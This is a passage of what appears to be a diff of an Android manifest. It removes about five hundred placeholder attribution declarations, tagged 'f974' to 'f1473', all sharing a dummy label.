- <attribution android:tag="f974" android:label="@string/dummyLabel" />
- <attribution android:tag="f975" android:label="@string/dummyLabel" />
- <attribution android:tag="f976" android:label="@string/dummyLabel" />
- <attribution android:tag="f977" android:label="@string/dummyLabel" />
- <attribution android:tag="f978" android:label="@string/dummyLabel" />
- <attribution android:tag="f979" android:label="@string/dummyLabel" />
- <attribution android:tag="f980" android:label="@string/dummyLabel" />
- <attribution android:tag="f981" android:label="@string/dummyLabel" />
- <attribution android:tag="f982" android:label="@string/dummyLabel" />
- <attribution android:tag="f983" android:label="@string/dummyLabel" />
- <attribution android:tag="f984" android:label="@string/dummyLabel" />
- <attribution android:tag="f985" android:label="@string/dummyLabel" />
- <attribution android:tag="f986" android:label="@string/dummyLabel" />
- <attribution android:tag="f987" android:label="@string/dummyLabel" />
- <attribution android:tag="f988" android:label="@string/dummyLabel" />
- <attribution android:tag="f989" android:label="@string/dummyLabel" />
- <attribution android:tag="f990" android:label="@string/dummyLabel" />
- <attribution android:tag="f991" android:label="@string/dummyLabel" />
- <attribution android:tag="f992" android:label="@string/dummyLabel" />
- <attribution android:tag="f993" android:label="@string/dummyLabel" />
- <attribution android:tag="f994" android:label="@string/dummyLabel" />
- <attribution android:tag="f995" android:label="@string/dummyLabel" />
- <attribution android:tag="f996" android:label="@string/dummyLabel" />
- <attribution android:tag="f997" android:label="@string/dummyLabel" />
- <attribution android:tag="f998" android:label="@string/dummyLabel" />
- <attribution android:tag="f999" android:label="@string/dummyLabel" />
- <attribution android:tag="f1000" android:label="@string/dummyLabel" />
- <attribution android:tag="f1001" android:label="@string/dummyLabel" />
- <attribution android:tag="f1002" android:label="@string/dummyLabel" />
- <attribution android:tag="f1003" android:label="@string/dummyLabel" />
- <attribution android:tag="f1004" android:label="@string/dummyLabel" />
- <attribution android:tag="f1005" android:label="@string/dummyLabel" />
- <attribution android:tag="f1006" android:label="@string/dummyLabel" />
- <attribution android:tag="f1007" android:label="@string/dummyLabel" />
- <attribution android:tag="f1008" android:label="@string/dummyLabel" />
- <attribution android:tag="f1009" android:label="@string/dummyLabel" />
- <attribution android:tag="f1010" android:label="@string/dummyLabel" />
- <attribution android:tag="f1011" android:label="@string/dummyLabel" />
- <attribution android:tag="f1012" android:label="@string/dummyLabel" />
- <attribution android:tag="f1013" android:label="@string/dummyLabel" />
- <attribution android:tag="f1014" android:label="@string/dummyLabel" />
- <attribution android:tag="f1015" android:label="@string/dummyLabel" />
- <attribution android:tag="f1016" android:label="@string/dummyLabel" />
- <attribution android:tag="f1017" android:label="@string/dummyLabel" />
- <attribution android:tag="f1018" android:label="@string/dummyLabel" />
- <attribution android:tag="f1019" android:label="@string/dummyLabel" />
- <attribution android:tag="f1020" android:label="@string/dummyLabel" />
- <attribution android:tag="f1021" android:label="@string/dummyLabel" />
- <attribution android:tag="f1022" android:label="@string/dummyLabel" />
- <attribution android:tag="f1023" android:label="@string/dummyLabel" />
- <attribution android:tag="f1024" android:label="@string/dummyLabel" />
- <attribution android:tag="f1025" android:label="@string/dummyLabel" />
- <attribution android:tag="f1026" android:label="@string/dummyLabel" />
- <attribution android:tag="f1027" android:label="@string/dummyLabel" />
- <attribution android:tag="f1028" android:label="@string/dummyLabel" />
- <attribution android:tag="f1029" android:label="@string/dummyLabel" />
- <attribution android:tag="f1030" android:label="@string/dummyLabel" />
- <attribution android:tag="f1031" android:label="@string/dummyLabel" />
- <attribution android:tag="f1032" android:label="@string/dummyLabel" />
- <attribution android:tag="f1033" android:label="@string/dummyLabel" />
- <attribution android:tag="f1034" android:label="@string/dummyLabel" />
- <attribution android:tag="f1035" android:label="@string/dummyLabel" />
- <attribution android:tag="f1036" android:label="@string/dummyLabel" />
- <attribution android:tag="f1037" android:label="@string/dummyLabel" />
- <attribution android:tag="f1038" android:label="@string/dummyLabel" />
- <attribution android:tag="f1039" android:label="@string/dummyLabel" />
- <attribution android:tag="f1040" android:label="@string/dummyLabel" />
- <attribution android:tag="f1041" android:label="@string/dummyLabel" />
- <attribution android:tag="f1042" android:label="@string/dummyLabel" />
- <attribution android:tag="f1043" android:label="@string/dummyLabel" />
- <attribution android:tag="f1044" android:label="@string/dummyLabel" />
- <attribution android:tag="f1045" android:label="@string/dummyLabel" />
- <attribution android:tag="f1046" android:label="@string/dummyLabel" />
- <attribution android:tag="f1047" android:label="@string/dummyLabel" />
- <attribution android:tag="f1048" android:label="@string/dummyLabel" />
- <attribution android:tag="f1049" android:label="@string/dummyLabel" />
- <attribution android:tag="f1050" android:label="@string/dummyLabel" />
- <attribution android:tag="f1051" android:label="@string/dummyLabel" />
- <attribution android:tag="f1052" android:label="@string/dummyLabel" />
- <attribution android:tag="f1053" android:label="@string/dummyLabel" />
- <attribution android:tag="f1054" android:label="@string/dummyLabel" />
- <attribution android:tag="f1055" android:label="@string/dummyLabel" />
- <attribution android:tag="f1056" android:label="@string/dummyLabel" />
- <attribution android:tag="f1057" android:label="@string/dummyLabel" />
- <attribution android:tag="f1058" android:label="@string/dummyLabel" />
- <attribution android:tag="f1059" android:label="@string/dummyLabel" />
- <attribution android:tag="f1060" android:label="@string/dummyLabel" />
- <attribution android:tag="f1061" android:label="@string/dummyLabel" />
- <attribution android:tag="f1062" android:label="@string/dummyLabel" />
- <attribution android:tag="f1063" android:label="@string/dummyLabel" />
- <attribution android:tag="f1064" android:label="@string/dummyLabel" />
- <attribution android:tag="f1065" android:label="@string/dummyLabel" />
- <attribution android:tag="f1066" android:label="@string/dummyLabel" />
- <attribution android:tag="f1067" android:label="@string/dummyLabel" />
- <attribution android:tag="f1068" android:label="@string/dummyLabel" />
- <attribution android:tag="f1069" android:label="@string/dummyLabel" />
- <attribution android:tag="f1070" android:label="@string/dummyLabel" />
- <attribution android:tag="f1071" android:label="@string/dummyLabel" />
- <attribution android:tag="f1072" android:label="@string/dummyLabel" />
- <attribution android:tag="f1073" android:label="@string/dummyLabel" />
- <attribution android:tag="f1074" android:label="@string/dummyLabel" />
- <attribution android:tag="f1075" android:label="@string/dummyLabel" />
- <attribution android:tag="f1076" android:label="@string/dummyLabel" />
- <attribution android:tag="f1077" android:label="@string/dummyLabel" />
- <attribution android:tag="f1078" android:label="@string/dummyLabel" />
- <attribution android:tag="f1079" android:label="@string/dummyLabel" />
- <attribution android:tag="f1080" android:label="@string/dummyLabel" />
- <attribution android:tag="f1081" android:label="@string/dummyLabel" />
- <attribution android:tag="f1082" android:label="@string/dummyLabel" />
- <attribution android:tag="f1083" android:label="@string/dummyLabel" />
- <attribution android:tag="f1084" android:label="@string/dummyLabel" />
- <attribution android:tag="f1085" android:label="@string/dummyLabel" />
- <attribution android:tag="f1086" android:label="@string/dummyLabel" />
- <attribution android:tag="f1087" android:label="@string/dummyLabel" />
- <attribution android:tag="f1088" android:label="@string/dummyLabel" />
- <attribution android:tag="f1089" android:label="@string/dummyLabel" />
- <attribution android:tag="f1090" android:label="@string/dummyLabel" />
- <attribution android:tag="f1091" android:label="@string/dummyLabel" />
- <attribution android:tag="f1092" android:label="@string/dummyLabel" />
- <attribution android:tag="f1093" android:label="@string/dummyLabel" />
- <attribution android:tag="f1094" android:label="@string/dummyLabel" />
- <attribution android:tag="f1095" android:label="@string/dummyLabel" />
- <attribution android:tag="f1096" android:label="@string/dummyLabel" />
- <attribution android:tag="f1097" android:label="@string/dummyLabel" />
- <attribution android:tag="f1098" android:label="@string/dummyLabel" />
- <attribution android:tag="f1099" android:label="@string/dummyLabel" />
- <attribution android:tag="f1100" android:label="@string/dummyLabel" />
- <attribution android:tag="f1101" android:label="@string/dummyLabel" />
- <attribution android:tag="f1102" android:label="@string/dummyLabel" />
- <attribution android:tag="f1103" android:label="@string/dummyLabel" />
- <attribution android:tag="f1104" android:label="@string/dummyLabel" />
- <attribution android:tag="f1105" android:label="@string/dummyLabel" />
- <attribution android:tag="f1106" android:label="@string/dummyLabel" />
- <attribution android:tag="f1107" android:label="@string/dummyLabel" />
- <attribution android:tag="f1108" android:label="@string/dummyLabel" />
- <attribution android:tag="f1109" android:label="@string/dummyLabel" />
- <attribution android:tag="f1110" android:label="@string/dummyLabel" />
- <attribution android:tag="f1111" android:label="@string/dummyLabel" />
- <attribution android:tag="f1112" android:label="@string/dummyLabel" />
- <attribution android:tag="f1113" android:label="@string/dummyLabel" />
- <attribution android:tag="f1114" android:label="@string/dummyLabel" />
- <attribution android:tag="f1115" android:label="@string/dummyLabel" />
- <attribution android:tag="f1116" android:label="@string/dummyLabel" />
- <attribution android:tag="f1117" android:label="@string/dummyLabel" />
- <attribution android:tag="f1118" android:label="@string/dummyLabel" />
- <attribution android:tag="f1119" android:label="@string/dummyLabel" />
- <attribution android:tag="f1120" android:label="@string/dummyLabel" />
- <attribution android:tag="f1121" android:label="@string/dummyLabel" />
- <attribution android:tag="f1122" android:label="@string/dummyLabel" />
- <attribution android:tag="f1123" android:label="@string/dummyLabel" />
- <attribution android:tag="f1124" android:label="@string/dummyLabel" />
- <attribution android:tag="f1125" android:label="@string/dummyLabel" />
- <attribution android:tag="f1126" android:label="@string/dummyLabel" />
- <attribution android:tag="f1127" android:label="@string/dummyLabel" />
- <attribution android:tag="f1128" android:label="@string/dummyLabel" />
- <attribution android:tag="f1129" android:label="@string/dummyLabel" />
- <attribution android:tag="f1130" android:label="@string/dummyLabel" />
- <attribution android:tag="f1131" android:label="@string/dummyLabel" />
- <attribution android:tag="f1132" android:label="@string/dummyLabel" />
- <attribution android:tag="f1133" android:label="@string/dummyLabel" />
- <attribution android:tag="f1134" android:label="@string/dummyLabel" />
- <attribution android:tag="f1135" android:label="@string/dummyLabel" />
- <attribution android:tag="f1136" android:label="@string/dummyLabel" />
- <attribution android:tag="f1137" android:label="@string/dummyLabel" />
- <attribution android:tag="f1138" android:label="@string/dummyLabel" />
- <attribution android:tag="f1139" android:label="@string/dummyLabel" />
- <attribution android:tag="f1140" android:label="@string/dummyLabel" />
- <attribution android:tag="f1141" android:label="@string/dummyLabel" />
- <attribution android:tag="f1142" android:label="@string/dummyLabel" />
- <attribution android:tag="f1143" android:label="@string/dummyLabel" />
- <attribution android:tag="f1144" android:label="@string/dummyLabel" />
- <attribution android:tag="f1145" android:label="@string/dummyLabel" />
- <attribution android:tag="f1146" android:label="@string/dummyLabel" />
- <attribution android:tag="f1147" android:label="@string/dummyLabel" />
- <attribution android:tag="f1148" android:label="@string/dummyLabel" />
- <attribution android:tag="f1149" android:label="@string/dummyLabel" />
- <attribution android:tag="f1150" android:label="@string/dummyLabel" />
- <attribution android:tag="f1151" android:label="@string/dummyLabel" />
- <attribution android:tag="f1152" android:label="@string/dummyLabel" />
- <attribution android:tag="f1153" android:label="@string/dummyLabel" />
- <attribution android:tag="f1154" android:label="@string/dummyLabel" />
- <attribution android:tag="f1155" android:label="@string/dummyLabel" />
- <attribution android:tag="f1156" android:label="@string/dummyLabel" />
- <attribution android:tag="f1157" android:label="@string/dummyLabel" />
- <attribution android:tag="f1158" android:label="@string/dummyLabel" />
- <attribution android:tag="f1159" android:label="@string/dummyLabel" />
- <attribution android:tag="f1160" android:label="@string/dummyLabel" />
- <attribution android:tag="f1161" android:label="@string/dummyLabel" />
- <attribution android:tag="f1162" android:label="@string/dummyLabel" />
- <attribution android:tag="f1163" android:label="@string/dummyLabel" />
- <attribution android:tag="f1164" android:label="@string/dummyLabel" />
- <attribution android:tag="f1165" android:label="@string/dummyLabel" />
- <attribution android:tag="f1166" android:label="@string/dummyLabel" />
- <attribution android:tag="f1167" android:label="@string/dummyLabel" />
- <attribution android:tag="f1168" android:label="@string/dummyLabel" />
- <attribution android:tag="f1169" android:label="@string/dummyLabel" />
- <attribution android:tag="f1170" android:label="@string/dummyLabel" />
- <attribution android:tag="f1171" android:label="@string/dummyLabel" />
- <attribution android:tag="f1172" android:label="@string/dummyLabel" />
- <attribution android:tag="f1173" android:label="@string/dummyLabel" />
- <attribution android:tag="f1174" android:label="@string/dummyLabel" />
- <attribution android:tag="f1175" android:label="@string/dummyLabel" />
- <attribution android:tag="f1176" android:label="@string/dummyLabel" />
- <attribution android:tag="f1177" android:label="@string/dummyLabel" />
- <attribution android:tag="f1178" android:label="@string/dummyLabel" />
- <attribution android:tag="f1179" android:label="@string/dummyLabel" />
- <attribution android:tag="f1180" android:label="@string/dummyLabel" />
- <attribution android:tag="f1181" android:label="@string/dummyLabel" />
- <attribution android:tag="f1182" android:label="@string/dummyLabel" />
- <attribution android:tag="f1183" android:label="@string/dummyLabel" />
- <attribution android:tag="f1184" android:label="@string/dummyLabel" />
- <attribution android:tag="f1185" android:label="@string/dummyLabel" />
- <attribution android:tag="f1186" android:label="@string/dummyLabel" />
- <attribution android:tag="f1187" android:label="@string/dummyLabel" />
- <attribution android:tag="f1188" android:label="@string/dummyLabel" />
- <attribution android:tag="f1189" android:label="@string/dummyLabel" />
- <attribution android:tag="f1190" android:label="@string/dummyLabel" />
- <attribution android:tag="f1191" android:label="@string/dummyLabel" />
- <attribution android:tag="f1192" android:label="@string/dummyLabel" />
- <attribution android:tag="f1193" android:label="@string/dummyLabel" />
- <attribution android:tag="f1194" android:label="@string/dummyLabel" />
- <attribution android:tag="f1195" android:label="@string/dummyLabel" />
- <attribution android:tag="f1196" android:label="@string/dummyLabel" />
- <attribution android:tag="f1197" android:label="@string/dummyLabel" />
- <attribution android:tag="f1198" android:label="@string/dummyLabel" />
- <attribution android:tag="f1199" android:label="@string/dummyLabel" />
- <attribution android:tag="f1200" android:label="@string/dummyLabel" />
- <attribution android:tag="f1201" android:label="@string/dummyLabel" />
- <attribution android:tag="f1202" android:label="@string/dummyLabel" />
- <attribution android:tag="f1203" android:label="@string/dummyLabel" />
- <attribution android:tag="f1204" android:label="@string/dummyLabel" />
- <attribution android:tag="f1205" android:label="@string/dummyLabel" />
- <attribution android:tag="f1206" android:label="@string/dummyLabel" />
- <attribution android:tag="f1207" android:label="@string/dummyLabel" />
- <attribution android:tag="f1208" android:label="@string/dummyLabel" />
- <attribution android:tag="f1209" android:label="@string/dummyLabel" />
- <attribution android:tag="f1210" android:label="@string/dummyLabel" />
- <attribution android:tag="f1211" android:label="@string/dummyLabel" />
- <attribution android:tag="f1212" android:label="@string/dummyLabel" />
- <attribution android:tag="f1213" android:label="@string/dummyLabel" />
- <attribution android:tag="f1214" android:label="@string/dummyLabel" />
- <attribution android:tag="f1215" android:label="@string/dummyLabel" />
- <attribution android:tag="f1216" android:label="@string/dummyLabel" />
- <attribution android:tag="f1217" android:label="@string/dummyLabel" />
- <attribution android:tag="f1218" android:label="@string/dummyLabel" />
- <attribution android:tag="f1219" android:label="@string/dummyLabel" />
- <attribution android:tag="f1220" android:label="@string/dummyLabel" />
- <attribution android:tag="f1221" android:label="@string/dummyLabel" />
- <attribution android:tag="f1222" android:label="@string/dummyLabel" />
- <attribution android:tag="f1223" android:label="@string/dummyLabel" />
- <attribution android:tag="f1224" android:label="@string/dummyLabel" />
- <attribution android:tag="f1225" android:label="@string/dummyLabel" />
- <attribution android:tag="f1226" android:label="@string/dummyLabel" />
- <attribution android:tag="f1227" android:label="@string/dummyLabel" />
- <attribution android:tag="f1228" android:label="@string/dummyLabel" />
- <attribution android:tag="f1229" android:label="@string/dummyLabel" />
- <attribution android:tag="f1230" android:label="@string/dummyLabel" />
- <attribution android:tag="f1231" android:label="@string/dummyLabel" />
- <attribution android:tag="f1232" android:label="@string/dummyLabel" />
- <attribution android:tag="f1233" android:label="@string/dummyLabel" />
- <attribution android:tag="f1234" android:label="@string/dummyLabel" />
- <attribution android:tag="f1235" android:label="@string/dummyLabel" />
- <attribution android:tag="f1236" android:label="@string/dummyLabel" />
- <attribution android:tag="f1237" android:label="@string/dummyLabel" />
- <attribution android:tag="f1238" android:label="@string/dummyLabel" />
- <attribution android:tag="f1239" android:label="@string/dummyLabel" />
- <attribution android:tag="f1240" android:label="@string/dummyLabel" />
- <attribution android:tag="f1241" android:label="@string/dummyLabel" />
- <attribution android:tag="f1242" android:label="@string/dummyLabel" />
- <attribution android:tag="f1243" android:label="@string/dummyLabel" />
- <attribution android:tag="f1244" android:label="@string/dummyLabel" />
- <attribution android:tag="f1245" android:label="@string/dummyLabel" />
- <attribution android:tag="f1246" android:label="@string/dummyLabel" />
- <attribution android:tag="f1247" android:label="@string/dummyLabel" />
- <attribution android:tag="f1248" android:label="@string/dummyLabel" />
- <attribution android:tag="f1249" android:label="@string/dummyLabel" />
- <attribution android:tag="f1250" android:label="@string/dummyLabel" />
- <attribution android:tag="f1251" android:label="@string/dummyLabel" />
- <attribution android:tag="f1252" android:label="@string/dummyLabel" />
- <attribution android:tag="f1253" android:label="@string/dummyLabel" />
- <attribution android:tag="f1254" android:label="@string/dummyLabel" />
- <attribution android:tag="f1255" android:label="@string/dummyLabel" />
- <attribution android:tag="f1256" android:label="@string/dummyLabel" />
- <attribution android:tag="f1257" android:label="@string/dummyLabel" />
- <attribution android:tag="f1258" android:label="@string/dummyLabel" />
- <attribution android:tag="f1259" android:label="@string/dummyLabel" />
- <attribution android:tag="f1260" android:label="@string/dummyLabel" />
- <attribution android:tag="f1261" android:label="@string/dummyLabel" />
- <attribution android:tag="f1262" android:label="@string/dummyLabel" />
- <attribution android:tag="f1263" android:label="@string/dummyLabel" />
- <attribution android:tag="f1264" android:label="@string/dummyLabel" />
- <attribution android:tag="f1265" android:label="@string/dummyLabel" />
- <attribution android:tag="f1266" android:label="@string/dummyLabel" />
- <attribution android:tag="f1267" android:label="@string/dummyLabel" />
- <attribution android:tag="f1268" android:label="@string/dummyLabel" />
- <attribution android:tag="f1269" android:label="@string/dummyLabel" />
- <attribution android:tag="f1270" android:label="@string/dummyLabel" />
- <attribution android:tag="f1271" android:label="@string/dummyLabel" />
- <attribution android:tag="f1272" android:label="@string/dummyLabel" />
- <attribution android:tag="f1273" android:label="@string/dummyLabel" />
- <attribution android:tag="f1274" android:label="@string/dummyLabel" />
- <attribution android:tag="f1275" android:label="@string/dummyLabel" />
- <attribution android:tag="f1276" android:label="@string/dummyLabel" />
- <attribution android:tag="f1277" android:label="@string/dummyLabel" />
- <attribution android:tag="f1278" android:label="@string/dummyLabel" />
- <attribution android:tag="f1279" android:label="@string/dummyLabel" />
- <attribution android:tag="f1280" android:label="@string/dummyLabel" />
- <attribution android:tag="f1281" android:label="@string/dummyLabel" />
- <attribution android:tag="f1282" android:label="@string/dummyLabel" />
- <attribution android:tag="f1283" android:label="@string/dummyLabel" />
- <attribution android:tag="f1284" android:label="@string/dummyLabel" />
- <attribution android:tag="f1285" android:label="@string/dummyLabel" />
- <attribution android:tag="f1286" android:label="@string/dummyLabel" />
- <attribution android:tag="f1287" android:label="@string/dummyLabel" />
- <attribution android:tag="f1288" android:label="@string/dummyLabel" />
- <attribution android:tag="f1289" android:label="@string/dummyLabel" />
- <attribution android:tag="f1290" android:label="@string/dummyLabel" />
- <attribution android:tag="f1291" android:label="@string/dummyLabel" />
- <attribution android:tag="f1292" android:label="@string/dummyLabel" />
- <attribution android:tag="f1293" android:label="@string/dummyLabel" />
- <attribution android:tag="f1294" android:label="@string/dummyLabel" />
- <attribution android:tag="f1295" android:label="@string/dummyLabel" />
- <attribution android:tag="f1296" android:label="@string/dummyLabel" />
- <attribution android:tag="f1297" android:label="@string/dummyLabel" />
- <attribution android:tag="f1298" android:label="@string/dummyLabel" />
- <attribution android:tag="f1299" android:label="@string/dummyLabel" />
- <attribution android:tag="f1300" android:label="@string/dummyLabel" />
- <attribution android:tag="f1301" android:label="@string/dummyLabel" />
- <attribution android:tag="f1302" android:label="@string/dummyLabel" />
- <attribution android:tag="f1303" android:label="@string/dummyLabel" />
- <attribution android:tag="f1304" android:label="@string/dummyLabel" />
- <attribution android:tag="f1305" android:label="@string/dummyLabel" />
- <attribution android:tag="f1306" android:label="@string/dummyLabel" />
- <attribution android:tag="f1307" android:label="@string/dummyLabel" />
- <attribution android:tag="f1308" android:label="@string/dummyLabel" />
- <attribution android:tag="f1309" android:label="@string/dummyLabel" />
- <attribution android:tag="f1310" android:label="@string/dummyLabel" />
- <attribution android:tag="f1311" android:label="@string/dummyLabel" />
- <attribution android:tag="f1312" android:label="@string/dummyLabel" />
- <attribution android:tag="f1313" android:label="@string/dummyLabel" />
- <attribution android:tag="f1314" android:label="@string/dummyLabel" />
- <attribution android:tag="f1315" android:label="@string/dummyLabel" />
- <attribution android:tag="f1316" android:label="@string/dummyLabel" />
- <attribution android:tag="f1317" android:label="@string/dummyLabel" />
- <attribution android:tag="f1318" android:label="@string/dummyLabel" />
- <attribution android:tag="f1319" android:label="@string/dummyLabel" />
- <attribution android:tag="f1320" android:label="@string/dummyLabel" />
- <attribution android:tag="f1321" android:label="@string/dummyLabel" />
- <attribution android:tag="f1322" android:label="@string/dummyLabel" />
- <attribution android:tag="f1323" android:label="@string/dummyLabel" />
- <attribution android:tag="f1324" android:label="@string/dummyLabel" />
- <attribution android:tag="f1325" android:label="@string/dummyLabel" />
- <attribution android:tag="f1326" android:label="@string/dummyLabel" />
- <attribution android:tag="f1327" android:label="@string/dummyLabel" />
- <attribution android:tag="f1328" android:label="@string/dummyLabel" />
- <attribution android:tag="f1329" android:label="@string/dummyLabel" />
- <attribution android:tag="f1330" android:label="@string/dummyLabel" />
- <attribution android:tag="f1331" android:label="@string/dummyLabel" />
- <attribution android:tag="f1332" android:label="@string/dummyLabel" />
- <attribution android:tag="f1333" android:label="@string/dummyLabel" />
- <attribution android:tag="f1334" android:label="@string/dummyLabel" />
- <attribution android:tag="f1335" android:label="@string/dummyLabel" />
- <attribution android:tag="f1336" android:label="@string/dummyLabel" />
- <attribution android:tag="f1337" android:label="@string/dummyLabel" />
- <attribution android:tag="f1338" android:label="@string/dummyLabel" />
- <attribution android:tag="f1339" android:label="@string/dummyLabel" />
- <attribution android:tag="f1340" android:label="@string/dummyLabel" />
- <attribution android:tag="f1341" android:label="@string/dummyLabel" />
- <attribution android:tag="f1342" android:label="@string/dummyLabel" />
- <attribution android:tag="f1343" android:label="@string/dummyLabel" />
- <attribution android:tag="f1344" android:label="@string/dummyLabel" />
- <attribution android:tag="f1345" android:label="@string/dummyLabel" />
- <attribution android:tag="f1346" android:label="@string/dummyLabel" />
- <attribution android:tag="f1347" android:label="@string/dummyLabel" />
- <attribution android:tag="f1348" android:label="@string/dummyLabel" />
- <attribution android:tag="f1349" android:label="@string/dummyLabel" />
- <attribution android:tag="f1350" android:label="@string/dummyLabel" />
- <attribution android:tag="f1351" android:label="@string/dummyLabel" />
- <attribution android:tag="f1352" android:label="@string/dummyLabel" />
- <attribution android:tag="f1353" android:label="@string/dummyLabel" />
- <attribution android:tag="f1354" android:label="@string/dummyLabel" />
- <attribution android:tag="f1355" android:label="@string/dummyLabel" />
- <attribution android:tag="f1356" android:label="@string/dummyLabel" />
- <attribution android:tag="f1357" android:label="@string/dummyLabel" />
- <attribution android:tag="f1358" android:label="@string/dummyLabel" />
- <attribution android:tag="f1359" android:label="@string/dummyLabel" />
- <attribution android:tag="f1360" android:label="@string/dummyLabel" />
- <attribution android:tag="f1361" android:label="@string/dummyLabel" />
- <attribution android:tag="f1362" android:label="@string/dummyLabel" />
- <attribution android:tag="f1363" android:label="@string/dummyLabel" />
- <attribution android:tag="f1364" android:label="@string/dummyLabel" />
- <attribution android:tag="f1365" android:label="@string/dummyLabel" />
- <attribution android:tag="f1366" android:label="@string/dummyLabel" />
- <attribution android:tag="f1367" android:label="@string/dummyLabel" />
- <attribution android:tag="f1368" android:label="@string/dummyLabel" />
- <attribution android:tag="f1369" android:label="@string/dummyLabel" />
- <attribution android:tag="f1370" android:label="@string/dummyLabel" />
- <attribution android:tag="f1371" android:label="@string/dummyLabel" />
- <attribution android:tag="f1372" android:label="@string/dummyLabel" />
- <attribution android:tag="f1373" android:label="@string/dummyLabel" />
- <attribution android:tag="f1374" android:label="@string/dummyLabel" />
- <attribution android:tag="f1375" android:label="@string/dummyLabel" />
- <attribution android:tag="f1376" android:label="@string/dummyLabel" />
- <attribution android:tag="f1377" android:label="@string/dummyLabel" />
- <attribution android:tag="f1378" android:label="@string/dummyLabel" />
- <attribution android:tag="f1379" android:label="@string/dummyLabel" />
- <attribution android:tag="f1380" android:label="@string/dummyLabel" />
- <attribution android:tag="f1381" android:label="@string/dummyLabel" />
- <attribution android:tag="f1382" android:label="@string/dummyLabel" />
- <attribution android:tag="f1383" android:label="@string/dummyLabel" />
- <attribution android:tag="f1384" android:label="@string/dummyLabel" />
- <attribution android:tag="f1385" android:label="@string/dummyLabel" />
- <attribution android:tag="f1386" android:label="@string/dummyLabel" />
- <attribution android:tag="f1387" android:label="@string/dummyLabel" />
- <attribution android:tag="f1388" android:label="@string/dummyLabel" />
- <attribution android:tag="f1389" android:label="@string/dummyLabel" />
- <attribution android:tag="f1390" android:label="@string/dummyLabel" />
- <attribution android:tag="f1391" android:label="@string/dummyLabel" />
- <attribution android:tag="f1392" android:label="@string/dummyLabel" />
- <attribution android:tag="f1393" android:label="@string/dummyLabel" />
- <attribution android:tag="f1394" android:label="@string/dummyLabel" />
- <attribution android:tag="f1395" android:label="@string/dummyLabel" />
- <attribution android:tag="f1396" android:label="@string/dummyLabel" />
- <attribution android:tag="f1397" android:label="@string/dummyLabel" />
- <attribution android:tag="f1398" android:label="@string/dummyLabel" />
- <attribution android:tag="f1399" android:label="@string/dummyLabel" />
- <attribution android:tag="f1400" android:label="@string/dummyLabel" />
- <attribution android:tag="f1401" android:label="@string/dummyLabel" />
- <attribution android:tag="f1402" android:label="@string/dummyLabel" />
- <attribution android:tag="f1403" android:label="@string/dummyLabel" />
- <attribution android:tag="f1404" android:label="@string/dummyLabel" />
- <attribution android:tag="f1405" android:label="@string/dummyLabel" />
- <attribution android:tag="f1406" android:label="@string/dummyLabel" />
- <attribution android:tag="f1407" android:label="@string/dummyLabel" />
- <attribution android:tag="f1408" android:label="@string/dummyLabel" />
- <attribution android:tag="f1409" android:label="@string/dummyLabel" />
- <attribution android:tag="f1410" android:label="@string/dummyLabel" />
- <attribution android:tag="f1411" android:label="@string/dummyLabel" />
- <attribution android:tag="f1412" android:label="@string/dummyLabel" />
- <attribution android:tag="f1413" android:label="@string/dummyLabel" />
- <attribution android:tag="f1414" android:label="@string/dummyLabel" />
- <attribution android:tag="f1415" android:label="@string/dummyLabel" />
- <attribution android:tag="f1416" android:label="@string/dummyLabel" />
- <attribution android:tag="f1417" android:label="@string/dummyLabel" />
- <attribution android:tag="f1418" android:label="@string/dummyLabel" />
- <attribution android:tag="f1419" android:label="@string/dummyLabel" />
- <attribution android:tag="f1420" android:label="@string/dummyLabel" />
- <attribution android:tag="f1421" android:label="@string/dummyLabel" />
- <attribution android:tag="f1422" android:label="@string/dummyLabel" />
- <attribution android:tag="f1423" android:label="@string/dummyLabel" />
- <attribution android:tag="f1424" android:label="@string/dummyLabel" />
- <attribution android:tag="f1425" android:label="@string/dummyLabel" />
- <attribution android:tag="f1426" android:label="@string/dummyLabel" />
- <attribution android:tag="f1427" android:label="@string/dummyLabel" />
- <attribution android:tag="f1428" android:label="@string/dummyLabel" />
- <attribution android:tag="f1429" android:label="@string/dummyLabel" />
- <attribution android:tag="f1430" android:label="@string/dummyLabel" />
- <attribution android:tag="f1431" android:label="@string/dummyLabel" />
- <attribution android:tag="f1432" android:label="@string/dummyLabel" />
- <attribution android:tag="f1433" android:label="@string/dummyLabel" />
- <attribution android:tag="f1434" android:label="@string/dummyLabel" />
- <attribution android:tag="f1435" android:label="@string/dummyLabel" />
- <attribution android:tag="f1436" android:label="@string/dummyLabel" />
- <attribution android:tag="f1437" android:label="@string/dummyLabel" />
- <attribution android:tag="f1438" android:label="@string/dummyLabel" />
- <attribution android:tag="f1439" android:label="@string/dummyLabel" />
- <attribution android:tag="f1440" android:label="@string/dummyLabel" />
- <attribution android:tag="f1441" android:label="@string/dummyLabel" />
- <attribution android:tag="f1442" android:label="@string/dummyLabel" />
- <attribution android:tag="f1443" android:label="@string/dummyLabel" />
- <attribution android:tag="f1444" android:label="@string/dummyLabel" />
- <attribution android:tag="f1445" android:label="@string/dummyLabel" />
- <attribution android:tag="f1446" android:label="@string/dummyLabel" />
- <attribution android:tag="f1447" android:label="@string/dummyLabel" />
- <attribution android:tag="f1448" android:label="@string/dummyLabel" />
- <attribution android:tag="f1449" android:label="@string/dummyLabel" />
- <attribution android:tag="f1450" android:label="@string/dummyLabel" />
- <attribution android:tag="f1451" android:label="@string/dummyLabel" />
- <attribution android:tag="f1452" android:label="@string/dummyLabel" />
- <attribution android:tag="f1453" android:label="@string/dummyLabel" />
- <attribution android:tag="f1454" android:label="@string/dummyLabel" />
- <attribution android:tag="f1455" android:label="@string/dummyLabel" />
- <attribution android:tag="f1456" android:label="@string/dummyLabel" />
- <attribution android:tag="f1457" android:label="@string/dummyLabel" />
- <attribution android:tag="f1458" android:label="@string/dummyLabel" />
- <attribution android:tag="f1459" android:label="@string/dummyLabel" />
- <attribution android:tag="f1460" android:label="@string/dummyLabel" />
- <attribution android:tag="f1461" android:label="@string/dummyLabel" />
- <attribution android:tag="f1462" android:label="@string/dummyLabel" />
- <attribution android:tag="f1463" android:label="@string/dummyLabel" />
- <attribution android:tag="f1464" android:label="@string/dummyLabel" />
- <attribution android:tag="f1465" android:label="@string/dummyLabel" />
- <attribution android:tag="f1466" android:label="@string/dummyLabel" />
- <attribution android:tag="f1467" android:label="@string/dummyLabel" />
- <attribution android:tag="f1468" android:label="@string/dummyLabel" />
- <attribution android:tag="f1469" android:label="@string/dummyLabel" />
- <attribution android:tag="f1470" android:label="@string/dummyLabel" />
- <attribution android:tag="f1471" android:label="@string/dummyLabel" />
- <attribution android:tag="f1472" android:label="@string/dummyLabel" />
- <attribution android:tag="f1473" android:label="@string/dummyLabel" />
